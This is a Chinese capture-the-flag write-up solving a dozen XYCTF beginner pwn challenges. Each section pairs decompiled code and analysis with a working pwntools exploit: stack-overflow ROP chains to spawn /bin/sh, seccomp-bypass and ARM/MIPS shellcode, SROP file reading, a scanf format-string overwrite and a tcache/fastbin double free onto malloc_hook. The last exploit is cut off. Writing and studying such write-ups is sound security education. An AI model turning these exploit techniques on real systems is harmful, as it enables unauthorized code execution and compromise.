让新生重获新生的新生赛

0x00 前言

这新生赛难度新生打不了一点,这是让我这种菜鸡获得新生的比赛(但是AK了

0x01 hello_world(签到)

分析
1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[20]; // [rsp+0h] [rbp-20h] BYREF

init();
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
printf("%s", "please input your name: ");
read(0, buf, 0x48uLL);
printf("Welcome to XYCTF! %s\n", buf);
return 0;
}

漏洞很明显,两次栈溢出,都能溢出0x28字节。题目开了PIE,但这不重要,现在的当务之急是泄露出libc地址,因为程序并没有后门。题目给了libc附件,经过查表得知是libc6_2.35-0ubuntu3.6_amd64。

在做这道题的时候第一反应是,先泄露程序基址,然后在buf上构造fmt payload,调用printf泄露libc地址,然后返回到start后,再溢出进行getshell。当我调试好泄露程序基址的payload之后我转念一想,为什么不直接泄露libc地址既然如此?这样的话程序的两次溢出就已经够用了。

思路&调试

众所周知,一般libc地址或者程序虚拟地址啥的都不会满一个字长然后占据满一个内存单元,否则地址容易随着前面内容的打印而一起被泄露出去,所以高位必须空出来至少一个字节用\x00阻断。字符串后加\x00同理。但是如果溢出可以把某个地址之前的\x00覆盖成可打印字符,那么后面的地址就会被连带出来从而泄露libc。

在本地调试,断点在printf,输入name后查看栈情况:

hello_world泄露libc调试

可以看到printf的ret地址就是一个libc地址。顺带一提,这里显示的__libc_start_call_main+128在2.35的libc下其实是__libc_start_main_ret,这个在libc-database可以直接查到偏移(就是0x29d90),但是通过pwntools是查不到的。

那么理论上我只要填充0x28+2个字节的padding就能将这个libc地址带出。注意如果用sendline函数的话,payload后会多一个回车,所以payload长度应该是0x28+1就好了。得到libc基址之后,第二个溢出就直接system(/bin/sh)就好了,需要注意的是这里会出现栈平衡对齐失败打不通的情况,在前面加个ret就好了,不再赘述。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level = 'debug'

# r = remote('xyctf.top', 35594)
r = process('./vuln')
libc = ELF('./libc.so.6')

rdi_addr = 0x2a3e5
ret_addr = 0x29139
str_bin_sh_addr = 0x1d8678
one = [0xebc88, 0xebc81, 0xebd43, 0xebc85, 0xebce2, 0xebd38, 0xebd3f]
# gdb.attach(r, 'b *printf')

r.sendline(b'a'*(0x20+6)+b'b')
r.recvuntil(b'b\n')
leak_addr = u64(r.recvuntil(b'\nplea', drop=True).ljust(8, b'\x00'))
libc_base = leak_addr-0x29d90
log.success(hex(libc_base))


# pause()
r.send(b'a'*32+p64(1)+p64(libc_base+ret_addr)+p64(libc_base+rdi_addr) +p64(libc_base+str_bin_sh_addr)+p64(libc_base+libc.sym['system']))

r.interactive()

0x02 invisible_flag

分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]

init();
addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
((void (*)(void))addr)();
return 0;
}
}

很明显的shellcode题,但是有沙箱,扔到seccomp-tools看看情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

好好,execve禁了就算了,把orw也都禁了,快乐的新生赛(滑稽)。无所谓,刚好最近细学了沙箱绕过。这里我们先用openat打开文件,然后用sendfile就可以输出flag了。知道绕过方法和函数参数表后就可以开始手搓汇编了。也可以用pwntools自带的shellcraft来生成shellcode。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 35854)
# r = process('./vuln')

sc = '''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''

payload = asm(sc)
r.sendline(payload)
r.interactive()
分析

题目是静态编译的,题目除了一个栈溢出什么都没有。system不存在于符号表中,也没有execve,结合符号表中有的函数,有三种思路:

  1. 调用mprotect开辟一块有可执行的内存,然后调用read向这块内存写入shellcode。
  2. orw。
  3. ret2syscall

这里采用了第一种思路,在bss段开辟了rwx权限的内存。静态编译题有个好处就是不怕找不到gadget。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 59270)
# r = process('./vuln')

mprotect_addr = 0x4482C0
read_addr = 0x447580
bss_addr = 0x4C7000

rdi_addr = 0x401f1f
rsi_addr = 0x409f8e
rdx_addr = 0x451322

payload = b'a'*0x28
payload += p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr) + \
p64(0x1000)+p64(rdx_addr)+p64(7)+p64(mprotect_addr)
payload += p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr +
0x300)+p64(rdx_addr)+p64(0x100)+p64(read_addr)
payload += p64(bss_addr+0x300)
# print((len(payload)))

shellcode = asm(shellcraft.sh())

r.sendline(payload)
r.sendline(shellcode)
r.interactive()

0x04 Guestbook1

分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __cdecl GuestBook()
{
int index; // [rsp+Ch] [rbp-224h] BYREF
char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF

puts("Welcome to starRail.");
puts("please enter your name and id");
while ( 1 )
{
while ( 1 )
{
puts("index");
__isoc99_scanf("%d", &index);
if ( index <= 32 )
break;
puts("out of range");
}
if ( index < 0 )
break;
puts("name:");
read(0, name[index], 0x10uLL);
puts("id:");
__isoc99_scanf("%hhu", &id[index]);
}
puts("Have a good time!");
}

主要的函数如上,不能整数溢出,但是有一个很明显的数组越界漏洞,在index<=32的地方。那么我们就可以通过id[32]劫持到rbp。那么思路就是栈迁移。rbp记录了调用者的栈帧指针,所以只要把我们要返回的地址写到栈上,然后劫持rbp为该地址-8的位置即可。但是程序没有办法泄露栈地址,所以要爆破1/16的几率。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug')
p = process('./pwn')
# p = remote("xyctf.top", 33063)

# gdb.attach(p,"b *0x401252")
backdoor = 0x40133A
pay = p64(backdoor)*2
p.recvuntil(b"index")
p.sendline(str(32).encode())
p.recvuntil(b"name:")
p.send(pay)
p.recvuntil(b"id:")
p.sendline(str(0x60).encode())

p.sendline(str(-1).encode())
p.interactive()

0x05 babyGift

分析
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 GetInfo()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
char v2[32]; // [rsp+20h] [rbp-20h] BYREF

printf("Your name:");
putchar(10);
fgets(s, 32, stdin);
printf("Your passwd:");
putchar(10);
fgets(v2, 64, stdin);
return Gift(v2);
}

然后程序还给了一个gift函数,但是实际上是一些gadget,而且在getinfo结束之后一定会运行这些gadget,所以栈布局要考虑上这个函数。这个gift实际上实现了把rdi中的内容放进rbp里这个功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000401219 ; void Gift()
.text:0000000000401219 public Gift
.text:0000000000401219 Gift proc near ; CODE XREF: GetInfo+7F↓p
.text:0000000000401219
.text:0000000000401219 var_8 = qword ptr -8
.text:0000000000401219
.text:0000000000401219 ; __unwind {
.text:0000000000401219 endbr64
.text:000000000040121D push rbp
.text:000000000040121E mov rbp, rsp
.text:0000000000401221 mov [rbp+var_8], rdi
.text:0000000000401225 nop
.text:0000000000401226 pop rbp
.text:0000000000401227 retn
.text:0000000000401227 ; } // starts at 401219
.text:0000000000401227 Gift endp

有一个很明显的栈溢出,应该就是突破口了。

思路

题目给了libc附件,首先要考虑的是如何泄露libc。程序里没有puts函数,所以考虑用printf函数,利用fmt来泄露栈上残留的libc地址。printf函数会判断eax是否为0,若不为0则要求栈平衡对齐,为了绕开这个问题,我们利用0x401202处mov eax,0;call _printf的gadget,而不用printf@plt。然后要回到main函数重新执行栈溢出。这里的payload应该是:

1
2
3
payload = b'%27$p'
payload = payload.ljust(0x20, b'\x00')
payload += p64(0)+p64(call_printf)+p64(1)+p64(start_addr)

call_printf完了之后会进入到gift函数,p64(1)是为了绕过pop rbp那个gadget,不然会把start_addr吞掉。好家伙,这个gadget反而是害人的东西。

经过调试,发现27偏移处可以泄露__libc_start_main_ret的地址,然后就可以获得system和binsh的地址。那接下来就栈溢出劫持ret地址getshell就好了。但是有一个问题需要注意,system会卡在movaps上,也就是又遇到了栈平衡的问题。这里不能通过加ret来解决因为溢出的字节不够,所以只好去翻一翻libc文件,找到system函数里跳过push或者pop语句后的地址。因为调试的时候我们发现通常system会卡在do_system这个函数里,所以通过gdb看到偏移,我们在IDA中找到这个函数,并且跳过他的push语句。

babygift_do_system

我们跳过push r15,也就是直接从0x50902开始就能绕过栈平衡问题。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
r = process('./vuln')
# r = remote('xyctf.top', 34099)
libc = ELF('./libc.so.6')
context.log_level = 'debug'

ret = 0x40101a
printf_plt = 0x401084
printf_got = 0x403FD8
main_addr = 0x4012AF
gift = 0x401219
call_printf = 0x401202
start_addr = 0x4010B0

r.sendlineafter(b'name', b'a'*0x10)
# gdb.attach(p, 'b *printf')
# pause()
payload = b'%27$p'
payload = payload.ljust(0x20, b'\x00')
payload += p64(0)+p64(call_printf)+p64(1)+p64(start_addr)
r.sendlineafter(b'passwd', payload)


r.recvuntil(b'0x')
leak_add = int(r.recv(12), 16)
libcbase = leak_add-libc.symbols['__libc_start_main']-128
system = libcbase+libc.symbols['system']
log.success(hex(libc.symbols['system']))
str_bin_sh = libcbase+next(libc.search(b'/bin/sh'))
rdi_ret = libcbase+0x2a3e5
do_system_addr = libcbase+0x50902
log.info('libcbase '+hex(libcbase))
# gdb.attach(p, 'b *system')
# pause()
# name直接跳了,应该是缓冲区里还有回车
payload = b'a'*(0x28)+p64(rdi_ret)+p64(str_bin_sh)+p64(do_system_addr)
r.sendlineafter(b'passwd', payload)
r.interactive()

0x06 intermittent

分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+0h] [rbp-120h]
void (*v5)(void); // [rsp+8h] [rbp-118h]
_DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+118h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( v5 == (void (*)(void))-1LL )
{
puts("ERROR");
return 1;
}
else
{
write(1, "show your magic: ", 0x11uLL);
read(0, buf, 0x100uLL);
for ( i = 0LL; i <= 2; ++i )
*((_DWORD *)v5 + 4 * i) = buf[i];
v5();
return 0;
}
}

shellcode题,但是题目只能把我们写的12个字节shellcode写进0x114514000中,并且每四个字节之间会有很多\x00的空挡。直接写sh肯定不行,所以我们写一个shellcode loader,也就是先构造一个read函数,然后再读取sh的shellcode。

调试

查询之后发现 00 00 add BYTE PTR [rax], al,如果要绕过那些空档,那么需要确保rax里存的是一个合法的地址。但是会占用很多字节,地址可能在四个字节写不下。我们先来看一下当时寄存器的状况。(不要在意将要执行的指令,我是用exp来调试的)

intermittent_寄存器状态

rdx放了mmap的地址,rdi是0,那只要把rdx中的内容放到rsi中后,syscall就能执行read了。push rdx; pop rsi总共四个字节刚好。因为rip是从mmap地址+4开始的,所以后面写入sh的shellcode之前要填充4个junkdata。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
# r = remote('localhost', 63069)

context(log_level='debug', arch='amd64')
r = process('./vuln')

shellcode = asm(shellcraft.sh())
sc = asm('''
push rdx
pop rsi
syscall
''')

print(len(sc))
# gdb.attach(r, "b *$rebase(0x1353)")
pause()
r.sendline(sc)
r.sendline(b'a'*0x4+shellcode)

r.interactive()

0x07 fmt

分析
1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
printf("Welcome to xyctf, this is a gift: %p\n", &printf);
read(0, buf1, 0x20uLL);
__isoc99_scanf(buf1);
printf("show your magic");
return 0;
}

这道题的fmt不同往常针对printf函数族,而是针对scanf的。第一次接触,上网查了半天,唯一一篇讲scanf格式化字符串漏洞的文章还要钱,所以就自己去尝试调试了。然后发现像%n,%p这样的格式化字符串也能用在scanf里面,偏移也能用。调试发现到ret地址的偏移是13,本来想直接%13$s劫持程序控制流,发现不行,调试发现卡在了类似[reg]这样的指令上,尝试其他的格式化字符串也是一样的结果。

fmt_卡住指令

因为scanf第二个参数被解析的时候会被当作指针处理,如果不指向一个合法地址就会报错。此时rdx指向的是一条指令而非地址,所以不可行。除非在栈上能找到一个指针指向ret地址的栈,但很可惜找不到。想到可以模仿printf那样任意地址写,我们只需要把某个地址写到栈上再通过偏移来修改即可。程序泄露了libc地址,但是没有泄露栈地址,给了libc附件是2.31版本的,所以考虑改exit_hook为后门地址。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
e = ELF('./vuln')
r = remote('172.21.78.37', 50530)
# r = process('./vuln')
# libc = elf.libc
context.log_level = 'debug'
context.arch = 'amd64'

r.recvuntil(b'gift: 0x')
gift = int(r.recv(12)[-12:].rjust(16, b'0'), 16)
print(hex(gift))
hook = gift+0x1c12a8

r.send(b'%8$s\x00\x00\x00\x00'+p64(hook)*3)
# gdb.attach(r, 'b *0x40128D')
# pause()

r.sendline(p64(0x4012BE))# backdoor
r.interactive()

0x08 simple_srop

分析

程序很简单,就一个read溢出,没有其他东西了。但是在函数列表中可以看到sandbox和rt_sigreturn两个函数。我们先扔到seccomp-tools看下开了什么沙盒。

1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

禁用了execve,那我们就用srop+orw的方式获取flag。srop在我理解中其实就是可以控制全部寄存器的一种手段。我们利用pwntools自带的srop框架功能来编写exp就行。在orw之前我们还需要解决一个问题,就是要把flag这个字符串写到程序当中,因为open需要用到flag字符串的地址。我们考虑把flag写到bss段。flag读取出来后也是存在bss段。

在写exp的时候我遇到了一个问题,我把rbp和rsp写成bss+offset的形式打不通,而写了超出程序使用的虚拟内存地址就可以了。另外就是打远程的时候时好时坏也不知道是exp的问题还是靶机的问题。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
e = ELF('./vuln')
r = remote('172.21.78.37', 49320)
# r = process('./vuln')
# libc = elf.libc
context.log_level = 'debug'
context.arch = 'amd64'

syscall = 0x40129D
sigretrun = 0x401296
main = 0x4012A3
bss = e.bss()+0x100
flag_str = bss
store_flag = bss+0x500

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x400
frame.rip = syscall
frame.rbp = 0x404168
frame.rsp = 0x404168

flag_pay = b'flag\x00\x00\x00\x00'.ljust(
0x28, b'a')+p64(sigretrun)+bytes(frame)
r.sendline(flag_pay)
sleep(0.2)

# rax = 2,open(flag,0,0) to get flag
# 0 represents READONLY
openflag = SigreturnFrame()
openflag.rax = 0x2
openflag.rdi = flag_str
openflag.rsi = 0x0
openflag.rcx = 0x0
openflag.rdx = 0x0
openflag.rip = syscall
openflag.rbp = 0x404268
openflag.rsp = 0x404268

# rax = 0,read(3,bss,100)from (open) to (bss)
readflag = SigreturnFrame()
readflag.rax = 0x0
readflag.rdi = 3
readflag.rsi = store_flag
readflag.rdx = 0x100
readflag.rip = syscall
readflag.rbp = 0x404368
readflag.rsp = 0x404368

# rax = 1,write(1,bss,100) from (bss) to me
writeflag = SigreturnFrame()
writeflag.rax = 0x1
writeflag.rdi = 0x1
writeflag.rsi = store_flag
writeflag.rdx = 0x100
writeflag.rip = syscall
writeflag.rbp = 0xdeadbeef
writeflag.rsp = 0xdeadbeef


payload = b'flag\x00\x00\x00\x00'
payload += p64(sigretrun)
payload += bytes(openflag)

payload += p64(sigretrun)
payload += bytes(readflag)

payload += p64(sigretrun)
payload += bytes(writeflag)

# gdb.attach(r)
# pause()
sleep(0.2)
r.sendline(payload)


r.interactive()

0x09 EZ1.0

分析

mips架构异构pwn,上题的前一天晚上刚接触异构pwn的简单rop,这就来了个shellcode题。程序很简单,除了个read溢出之外什么都没有了,静态编译。检查保护发现NX没开,mips好像也不支持NX,所以可以写shellcode到栈上。但是又没泄露栈地址,泄露起来比较麻烦,主要是找gadget很麻烦,所以考虑写到bss段上然后栈迁移到bss上执行。mips中的fp寄存器相当于ebp,ra相当于eip。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch='mips', os='linux', log_level='debug')
r = process(['qemu-mipsel-static', '-g', '9999', './mips'])


# r = remote('172.21.78.37', 54539)
e = ELF('./mips')

r.recv()
sc = asm('''
lui $t6,0x2f62
ori $t6,$t6,0x696e
sw $t6,28($sp)
lui $t7,0x2f2f
ori $t7,$t7,0x7368
sw $t7,32($sp)
sw $zero,36($sp)
la $a0,28($sp)
addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall 0x40404
''')

print(len(sc))


mprotect_addr = 0x41DC0C
read_addr = 0x400860

payload = b'a'*64+p32(e.bss()+0x200-0x60+68)+p32(read_addr)
r.send(payload)

payload = b'a'*68+p32(e.bss()+0x200+68)+asm(shellcraft.sh())
r.send(payload)
r.interactive()

0X0A EZ2.0

分析

arm架构异构pwn,也是shellcode题,和mips不同的是,这个程序开启了NX,所以想要执行shellcode还得先用mprotect在bss段开辟一段可执行的内存空间才行,然后把栈迁移到bss去执行shellcode。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(arch='arm', os='linux', log_level='debug')
# r = process(['qemu-arm-static', './arm'])
r = remote('172.21.78.37', 58744)
e = ELF('./arm')

r.recv()
sc = asm('''
add r0, pc, #12
mov r1, #0
mov r2, #0
mov r7, #11
svc 0
.ascii "/bin/sh\\0"
''')

pop_r0_4_lr = 0x521BC
pop_r7_pc = 0x00027d78
pop_r0_pc = 0x5f73c
mprotect_addr = 0x28F10
read_addr = 0x10588

payload = b'a'*0x40+p32(e.bss()+0x44)+p32(pop_r0_pc)+p32(mprotect_addr)+p32(pop_r0_4_lr)+p32(e.bss()) + \
p32(0x1000)+p32(7)+p32(0)+p32(0)+p32(read_addr)
r.sendline(payload)

payload = sc.ljust(0x44, b'\x00') + p32(e.bss())
r.sendline(payload)
r.interactive()

0x0B malloc_flag

分析

堆题,但是静态反编译之后看起来很复杂,其实就是输出了一堆中文而已。另外有一些之前没接触过的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
stream = fopen("flag", "rb");
if ( stream )
{
fseek(stream, 0LL, 2);
n = ftell(stream);
rewind(stream);
ptr = malloc(0x100uLL);
if ( ptr )
{
v11 = fread((char *)ptr + 16, 1uLL, n, stream);
if ( v11 == n )
{
fclose(stream);
free(ptr);
v5 = 0;
...
}
...
}
...
}

fseek函数用于重定位流上的文件指针
ftell函数用于返回当前文件的指针
rewind函数用于将文件指针移动到文件起始位置

所以程序开头的代码简单来讲就是打开flag文件后,计算flag内容长度,然后读到了一个大小为0x100的堆内存上,并释放掉。题目给了libc附件,显示是2.31版本,所以这个chunk被释放之后会被放到tcachebin中。所以我们只要再申请一个0x100的chunk就能得到包含flag的chunk。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
r = process('./vuln')
# context.log_level = 'debug'

r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'flag')
r.recv()
r.sendline(b'0x100')
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'flag')
print(r.recv())

r.interactive()

0x0C fastfastfast

分析

题目提示了要用fastbin attack。题目提供了create、delete和show三种函数功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __cdecl create()
{
unsigned int v0; // ebx
unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-18h]

v2 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
{
v0 = idx;
note_addr[v0] = malloc(0x68uLL);
puts("please input content");
read(0, note_addr[idx], 0x68uLL);
}
else
{
puts("idx error");
}
}

create函数限制申请的idx最大为15,并且固定了每个chunk的大小为0x68。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
free(note_addr[idx]);
else
puts("idx error");
}

delete函数中有很明显的UAF漏洞,并且有机会实现double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __cdecl show()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
{
if ( note_addr[idx] )
write(1, note_addr[idx], 0x68uLL);
else
puts("note is null");
}
else
{
puts("idx error");
}
}

show函数可以用来泄露地址。

题目给出libc是2.31版本,也就是有tcache。程序固定了chunk size,也就阻断了直接利用unsortedbin的手法。tcachebin中的chunk不会合并,但是fastbin中的chunk在触发fastbin_consolidate时可以合并,两个0x68的chunk合并在一起就可以进入到smallbin,这样就有机会泄露libc地址了。程序用scanf来读取idx,利用scanf我们就能触发fastbin_consolidate。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for i in range(12):
add(i)
for i in range(9): # 0-6tcache 0-1fastbin
delete(i)

# dbg()
r.recvuntil(b'>>> ')
r.sendline(b'1')
r.recvuntil(b'please input note idx')
r.sendline(b'1'*0x500) # 触发fastbin consolidate,使得fastbin中的chunk可以合并

show(7) # smallbin,但是依然可以通过7和8来访问到原本的chunk,但是7、8已经不在fastbin中了
r.recvuntil(b'\n')
main_arena = u64(r.recv(6)[-6:].ljust(8, b'\x00'))
libcbase = main_arena-0x01eccb0
malloc_hook = libcbase+0x01ecb70
one = [0xe3b2e, 0xe3b31, 0xe3b34]
free_hook = libcbase+0x1eee48
print("malloc_hook", hex(malloc_hook))
print("libcbase:", hex(libcbase))

泄露了libc地址后,考虑如何将chunk申请到hook处。因为有tcache,并且题目有uaf,所以最方便的的double free方法是同时塞到tcachebin和fastbin中。具体操作是,先填满tcachebin,然后释放多两个同样大小的chunk进fastbin,之后从tcachebin里面取一个chunk出来,再次释放fastbin中的chunk,这样chunk就会存在于两个bin中。tcachebin的优先级大于fastbin,所以先取一个chunk,修改其fd为hook,然后取到fastbin中的第二个chunk时就是malloc hook的位置了,然后修改其为ongadget即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
delete(9)  # 0 fastbin
delete(10) # 1 fastbin
add(6) # 从6 tcache中取
delete(10) # 6 tcache,导致10既在tcache中,又在fastbin中,相当于double free

add(13, p64(malloc_hook-0x33)) # 从6 tcache中取

for i in range(0, 6):
add(i) # 取完tcache
add(0) # 取1 fastbin

# 0 fastbin,和6tache指向同一个chunk,所以相当于已经打到了malloc_hook
add(14, b'\x00'*0x23+p64(one[1]+libcbase))
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
r = process('./vuln')
# r = remote('node5.buuoj.cn', 28743)
libc = ELF('./libc-2.31.so')
e = ELF('./vuln')
context.log_level = 'debug'


def dbg():
gdb.attach(r)
pause()


def add(idx, content=b'/bin/sh\x00'):
r.recvuntil(b'>>> ')
r.sendline(b'1')
r.recvuntil(b'please input note idx')
r.sendline(str(idx).encode())
r.recvuntil(b'please input content')
r.sendline(content)


def show(idx):
r.recvuntil(b'>>> ')
r.sendline(b'3')
r.recvuntil(b'please input note idx')
r.sendline(str(idx).encode())


def delete(idx):
r.recvuntil(b'>>> ')
r.sendline(b'2')
r.recvuntil(b'please input note idx')
r.sendline(str(idx).encode())


for i in range(12):
add(i)
for i in range(9): # 0-7tcache 0-1fastbin
delete(i)

# dbg()
r.recvuntil(b'>>> ')
r.sendline(b'1')
r.recvuntil(b'please input note idx')
r.sendline(b'1'*0x500) # 触发fastbin consolidate,使得fastbin中的chunk可以合并
show(7) # smallbin,但是依然可以通过7和8来访问到原本的chunk,但是8已经不在fastbin中了
r.recvuntil(b'\n')
main_arena = u64(r.recv(6)[-6:].ljust(8, b'\x00'))
libcbase = main_arena-0x01eccb0
malloc_hook = libcbase+0x01ecb70
one = [0xe3b2e, 0xe3b31, 0xe3b34]
free_hook = libcbase+0x1eee48
print("malloc_hook", hex(malloc_hook))
print("libcbase:", hex(libcbase))

delete(9) # 0 fastbin
delete(10) # 1 fastbin
add(6) # 从6 tcache中取
delete(10) # 6 tcache,导致10既在tcache中,又在fastbin中,相当于double free

add(13, p64(malloc_hook-0x33)) # 从6 tcache中取

for i in range(0, 6):
add(i) # 取完tcache
add(0) # 取1 fastbin

# 0 fastbin,和6tache指向同一个chunk,所以相当于已经打到了malloc_hook
add(14, b'\x00'*0x23+p64(one[1]+libcbase))

r.recvuntil(b'>>> ')
r.sendline(b'1')
r.recvuntil(b'please input note idx')
r.sendline(b'1') # 触发hook

r.interactive()

0x0D one_byte

分析

程序提供了add,delete,view和edit四个函数。其中程序对chunk管理添加了inused标记,size标记,chunk地址标记,三个list都在bss段上,不在堆内存上。程序限制了chunk数量最多为32个,size最大为0x200。

在delete函数,释放一个chunk后程序会将inused标记置零,并且所有函数都会检查inused标记。也就是说并没有uaf漏洞。但是在edit函数有一个很明显的off by one的漏洞,可以修改下一个相邻的chunk的size字段。view函数输出的size以size list中的size为准,所以没法简单地通过chunk重叠来泄露信息。

想要泄露libc地址,首先得找到一个chunk的fd指向main_arena或者其他libc地址,而且不是释放的状态才能被泄露出来。这里有一个比较好想的思路,那就是把一个chunk塞进unsortedbin中然后再取出来就能泄露了。

那么下一步就该想怎么修改fd而打到hook处getshell了。但是这个程序没有uaf,没法直接修改fd,想要实现这一点,要想办法实现double free。显然要利用off by one来实现。这里的想法是:首先用off by one使chunk1和chunk2重叠,释放掉chunk1使其进入unsortedbin中,其中两个chunk大小都要大于fastbin大小,chunk1大于chunk2,然后取chunk1-chunk2的大小,利用unsortedbin切割来使chunk2依然留在unsortedbin中,但是因为chunk2并没有被释放过,所以你既可以操控它,它又在bin中,如果释放一次chunk2,它会进入tcachebin,那就造成了double free,有点像曲线地实现了house of botcake的感觉。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
